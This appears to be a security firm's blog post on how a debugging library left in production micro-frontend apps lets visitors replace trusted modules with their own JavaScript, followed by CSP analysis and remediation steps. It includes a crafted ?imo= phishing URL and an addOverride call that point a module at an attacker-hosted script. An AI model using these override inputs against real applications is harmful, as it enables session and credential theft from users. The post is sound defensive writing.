A single development tool, shipped by mistake into a production micro-frontend application, can let any visitor swap out the application's own JavaScript for code of their choosing. There is no exotic exploit involved, no memory corruption, and no zero-day. It is a debugging helper that nobody removed from the production build, paired with a permissive Content Security Policy that does nothing to stop it.
This post walks through how import-map-overrides becomes an arbitrary JavaScript execution primitive when it leaks into production, why the usual defenses miss it, and exactly what to do about it. Rather than tie it to any one system, let's talk about what could happen if this pattern reaches production.
What is the import map override vulnerability?
The import map override vulnerability is a client-side flaw in which a micro-frontend application loads the import-map-overrides library, a developer debugging tool, into its production build. The library exposes a JavaScript API and a URL parameter that let anyone point any application module at an external URL. The overriding module then executes at the application's origin, allowing an attacker to run arbitrary JavaScript with full access to the victim's DOM, cookies, tokens, and session. That is effectively a persistent, self-inflicted cross-site scripting (XSS) condition. The override is stored in the browser's localStorage, so it survives reloads until someone clears it manually.
Put simply, a tool designed to help developers test modules locally becomes a way for outsiders to replace production code in the user's browser.
How do micro-frontends and import maps actually work?
To understand the bug, you need a quick picture of the architecture it lives in.
Modern single-page applications are increasingly built as micro-frontends. Instead of one giant JavaScript bundle, the app is split into dozens of independently deployed modules: a header module, a login module, an auth module, an API client, a footer, and so on. A framework like single-spa orchestrates them, and a module loader like SystemJS fetches each one at runtime.
How does the browser know where each module lives? Through an import map, a JSON document that maps a bare module name to a real URL:
{ "imports": {
"@org/header": "https://production-lib.example.com/header.js",
"@org/auth": "https://production-lib.example.com/auth.js",
"@org/footer": "https://production-lib.example.com/footer.js"
}
}When the app needs @org/footer, SystemJS looks it up in the import map and loads it from the mapped URL. This indirection is powerful and completely legitimate. The problem arises when something allows an untrusted party to rewrite that map.
What is import-map-overrides?
import-map-overrides is an open-source library, popular in the single-spa ecosystem, that exists for one reason. It lets a developer override entries in the import map at runtime so they can point a module at their local machine while debugging.
On the engagement, the production HTML loaded:
https://cdn.jsdelivr.net/npm/import-map-overrides@2.2.0/dist/import-map-overrides.jsConfirming its presence took one line in the browser console:
typeof window.importMapOverrides !== 'undefined' // → true
Once that object exists on the page, the import map is no longer a fixed, trusted document. It is user-writable.
How does the import map override attack work, step by step?
The attack replaces a trusted production module with attacker-controlled JavaScript. Here is the full chain:
- The production page loads
import-map-overrides@2.2.0from a CDN. - The library exposes
window.importMapOverrides.addOverride()to any JavaScript running on the page. - Calling
addOverride('@org/footer', 'https://attacker.example/evil.js')writes the keyimport-map-override:@org/footerintolocalStorage. - On the next page load, SystemJS reads the overridden import map and fetches the module from the attacker's URL instead of the legitimate production host.
- The attacker's module executes inside the application's origin, with full DOM, cookie, token, and
localStorage access, and the override persists across sessions.
The payload only has to be a valid SystemJS module, the same format every legitimate module uses. To prove the swap is safe, we hosted a harmless module that drew a visible banner across the page instead of doing anything malicious. When the app loaded, our banner appeared, which confirmed that a module the application fully trusts had been replaced with ours. A real attacker would skip the banner and instead steal tokens, keylog the login form, or quietly proxy every API call.
What are the ways an attacker can trigger the override?
There are four independent trigger vectors, which is what makes this pattern hard to wave away as "needs console access."
1. The ?imo= URL parameter (no XSS required). The library reads an imo query parameter, parses it as JSON, and applies it as overrides. A single crafted link is enough:
https://app.example.com/?imo=%7B%22imports%22%3A%7B%22%40org%2Ffooter%22%3A%22https%3A%2F%2Fattacker.example%2Fevil.js%22%7D%7DThat URL-encodes {"imports":{"@org/footer":"https://attacker.example/evil.js"}}. Send it in a phishing email, and when the victim opens it, the override is written and the attacker's module loads on the next navigation.
2. The JavaScript API (via any XSS or the console). If the app has any other XSS, even a low-severity one, addOverride() upgrades it into persistent, full-origin code execution that outlives the original injection point.
Two further methods exist, but are not remote attack paths. The library also ships a built-in DevTools GUI (enabled by setting a devtools flag in localStorage), and the override can be written into localStorage directly under the import-map-override:* key. Both achieve the same module swap, but each requires the attacker to already be executing JavaScript in the target's origin or to have hands-on access to the victim's browser. They are useful for demonstrating the issue in a proof of concept, not for attacking a third party.
In the assessed app, more than 34 modules were listed and overridable, including the authentication module, the login form, the REST/API client, and the configuration module. Those are the highest-value targets imaginable. Overriding the API client alone would let an attacker silently intercept and modify every API request the user makes.
Why didn't the Content Security Policy stop this?
A well-built Content Security Policy (CSP) is the control most people assume would catch loading JavaScript from an attacker's domain. It often doesn't, because the policy is too permissive. A directive like this is common:
script-src 'unsafe-inline' 'unsafe-eval' https: http://localhost:*
Three problems compound:
https:allows scripts from any HTTPS origin, including the attacker's. A CSP that allowshttps:wholesale provides almost no protection against this class of attack.'unsafe-inline'and 'unsafe-eval'remove the guardrails that would otherwise constrain injected and dynamically evaluated code.- There is no
require-trusted-types-for 'script'directive to harden DOM sinks.
The takeaway is that a CSP only counts as a control when it actually constrains origins. An allowlist of "anything over HTTPS" reads like a control on paper while doing almost nothing in practice.
What is the real-world impact?
The replacement code runs in the application's own origin, so the impact is the full XSS catalog, made persistent:
- Session and token theft, with full access to cookies,
localStorage, and in-memory auth tokens. - Credential harvesting by keylogging the real login or checkout form, inside the legitimate UI.
- Business data exfiltration, including orders, pricing, supplier, and customer data.
- Convincing in-app phishing through DOM modification within the genuine, correctly certified site.
- Persistence, because the override lives in
localStorageand reactivates on every visit until someone clears it.
Delivery is trivial. It takes one phishing link using the ?imo= vector, or chaining any existing XSS. There is no privilege escalation step and no special tooling.
How do you remediate the import map override vulnerability?
Remediation is straightforward and layered. In priority order:
- Remove
import-map-overridesfrom production builds. It is a development tool and has no business in a production bundle. This single change closes the finding. - Remove the DevTools UI trigger. Strip any
localStorage.devtools-stylecheck that surfaces the override GUI to end users. - Tighten the CSP. Replace
https:with an explicit allowlist of trusted origins, remove'unsafe-inline'and'unsafe-eval', and addrequire-trusted-types-for 'script'. - Add Subresource Integrity (SRI). Pin
integrityhashes on third-party<script>tags so swapped content fails to load. - Gate dev tooling behind build flags. Make sure debugging helpers are included only in development builds and can never be bundled into production by accident.
What's the bigger lesson here?
Three things are worth highlighting.
First, the boundary between development and production is a security boundary. Debugging conveniences like verbose error pages, source maps, mock endpoints, and override tools such as this one are designed to make a system easier to manipulate. That is exactly the property you do not want exposed to the public internet.
Second, architecture creates new trust assumptions, and those assumptions need testing. Micro-frontends are a sound pattern, but they introduce a runtime indirection, the import map, that an older single-bundle app simply did not have. Every new layer of dynamism is a new thing an attacker can try to influence, so threat modeling should follow the architecture.
Third, defense in depth only works when each layer actually defends. A CSP existed here, which, on paper, looks like a control that auditors and security questionnaires would happily check off. In practice, script-src https: constrained nothing. Controls need to be evaluated for whether they meaningfully reduce risk, not just whether they are present. This is the kind of gap a penetration test surfaces that a checklist review will miss.
For frameworks like SOC 2 (CC8.1 change management, CC7.1 vulnerability detection) and ISO 27001 (A.8.8 management of technical vulnerabilities, A.8.25 and A.8.28 secure development and coding), shipping development tooling to production and running an ineffective CSP are exactly the kinds of issues these controls exist to prevent.
Frequently Asked Questions
Is import-map-overrides a vulnerability by itself? No. The library is not inherently flawed, and it does exactly what it advertises. The vulnerability is deploying it to production, where its override API and ?imo= URL parameter become available to untrusted users and turn into an arbitrary JavaScript execution primitive.
How is this different from regular XSS? Traditional XSS usually requires finding an injection point in the application. Here, the application voluntarily provides an API (addOverride()) and a URL parameter (?imo=) that load external code by design. It also persists in localStorage, so it survives reloads, which most reflected XSS does not. It can also be chained from an existing XSS to make that XSS persistent and full-origin.
Can a Content Security Policy prevent import map override attacks? A strict CSP can help significantly, but only if script-src uses an explicit origin allowlist and avoids https:, 'unsafe-inline' , and 'unsafe-eval'. A permissive CSP that allows scripts from any HTTPS origin provides effectively no protection against this attack.
How do I check if my application is affected? Open your production site's browser console and run typeof window.importMapOverrides. If it returns "object" instead of "undefined", the library is loaded in production and you should treat it as a finding. Also check whether ?imo= query parameters are honored and whether a devtools localStorage flag surfaces an override UI.
What's the fix? Remove import-map-overrides and any developer-only tooling from production builds, strip the DevTools UI trigger, tighten the CSP to an explicit origin allowlist, and add Subresource Integrity hashes to third-party scripts.
Related Posts
Stay connected
Subscribe to receive new blog articles and updates from Thoropass in your inbox.
Want to join our team?
Help Thoropass ensure that compliance never gets in the way of innovation.










.png)